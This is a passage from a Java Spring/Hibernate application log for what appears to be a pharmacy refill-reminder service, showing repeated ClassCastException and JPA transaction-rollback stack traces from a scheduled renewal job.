org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 02:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 02:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 02:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 02:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 02:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 02:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 02:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 02:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 02:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 02:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 02:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 02:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 02:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 02:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 02:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 02:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 02:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 02:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 02:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 02:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 02:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 02:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 02:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 02:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 02:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 03:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 03:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 03:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 03:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 03:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 03:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 03:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 03:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 03:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 03:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 03:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 03:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 03:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 03:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 03:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 03:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at 